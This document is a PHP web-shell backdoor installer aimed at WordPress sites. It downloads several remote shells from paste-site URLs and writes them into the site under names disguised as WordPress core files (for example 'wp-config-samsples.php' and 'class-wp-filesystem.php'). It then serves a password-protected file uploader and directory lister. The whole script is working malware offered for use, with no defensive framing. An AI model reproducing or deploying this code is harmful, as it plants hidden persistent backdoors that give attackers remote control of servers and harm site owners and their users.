shell mass backdoor

<?php
$server = $_SERVER['HTTP_HOST'];
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check1 = $_SERVER['DOCUMENT_ROOT'] . "/wp-config-samsples.php" ;
$text1 = http_get('https://pastebin.com/raw/WVUjGABA'); //main shell
$open1 = fopen($check1, 'w');
fwrite($open1, $text1);
fclose($open1);
if(file_exists($check1)){
}
echo " Stored : <a href=\"http://".$_SERVER['HTTP_HOST']."/wp-config-samsples.php\">".$_SERVER['HTTP_HOST']."/wp-config-samsples.php</a>\n<br>";
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/wp-content/themes/class-wp-filesystemss.php" ;
$text2 = http_get('http://3e593e21dae5bb3d.paste.se/raw'); //mini shell
$open2 = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
}
echo " Stored : <a href=\"http://".$_SERVER['HTTP_HOST']."/wp-content/themes/class-wp-filesystemss.php\">".$_SERVER['HTTP_HOST']."/wp-content/themes/class-wp-filesystemss.php  </a>\n<br>";
$check3 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/user/class-wp-filesystem.php" ;
$text3 = http_get('http://a0bfe5a1cc734e0f.paste.se/raw'); //wso shell
$open3 = fopen($check3, 'w');
fwrite($open3, $text3);
fclose($open3);
if(file_exists($check3)){
}
echo " Stored : <a href=\"http://".$_SERVER['HTTP_HOST']."/wp-admin/user/class-wp-filesystem.php\">".$_SERVER['HTTP_HOST']."/wp-admin/user/class-wp-filesystem.php  </a>\n<br>";
$check4 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/css/class-wp.php" ;
$text4 = http_get('http://c65f10a1973cf6d8.paste.se/raw'); //xleet shell
$open4 = fopen($check4, 'w');
fwrite($open4, $text4);
fclose($open4);
if(file_exists($check4)){
}
echo " Stored : <a href=\"http://".$_SERVER['HTTP_HOST']."/wp-admin/css/class-wp.php\">".$_SERVER['HTTP_HOST']."/wp-admin/css/class-wp.php  </a>\n<br>";

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256" /></head><body>
<?php
if (!empty($_GET['action']) &&  $_GET['action'] == "logout") {session_destroy();unset ($_SESSION['pass']);}

$path_name = pathinfo($_SERVER['PHP_SELF']);
$this_script = $path_name['basename'];
if (empty($_SESSION['pass'])) {$_SESSION['pass']='';}
if (empty($_POST['pass'])) {$_POST['pass']='';}
if ( $_SESSION['pass']!== $pass)
{
    if ($_POST['pass'] == $pass) {$_SESSION['pass'] = $pass; }
    else
    {
        echo '<form action="'.$_SERVER['PHP_SELF'].'" method="post"><input name="pass" type="password"><input type="submit"></form>';
        exit;
    }
}
?>


<form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
File mu mas : <input name="file" type="file" /><br />
<input type="submit" value="Upload" /></form>


<?php

if (!empty($_FILES["file"]))
{
    if ($_FILES["file"]["error"] > 0)
       {echo "Error: " . $_FILES["file"]["error"] . "<br>";}
    else
       {echo "Stored file:".$_FILES["file"]["name"]."<br/>Size:".($_FILES["file"]["size"]/1024)." kB<br/>";
       move_uploaded_file($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
       }
}

    // open this directory
    $myDirectory = opendir(".");
    // get each entry
    while($entryName = readdir($myDirectory)) {$dirArray[] = $entryName;} closedir($myDirectory);
    $indexCount = count($dirArray);
        echo "$indexCount files<br/>";
    sort($dirArray);

    echo "<TABLE border=1 cellpadding=5 cellspacing=0 class=whitelinks><TR><TH>Filename</TH><th>Filetype</th><th>Filesize</th></TR>\n";

        for($index=0; $index < $indexCount; $index++)
        {
            if (substr("$dirArray[$index]", 0, 1) != ".")
            {
            echo "<TR>
            <td><a href=\"$dirArray[$index]\">$dirArray[$index]</a></td>
            <td>".filetype($dirArray[$index])."</td>
            <td>".filesize($dirArray[$index])."</td>
                </TR>";
            }
        }
    echo "</TABLE>";
    ?>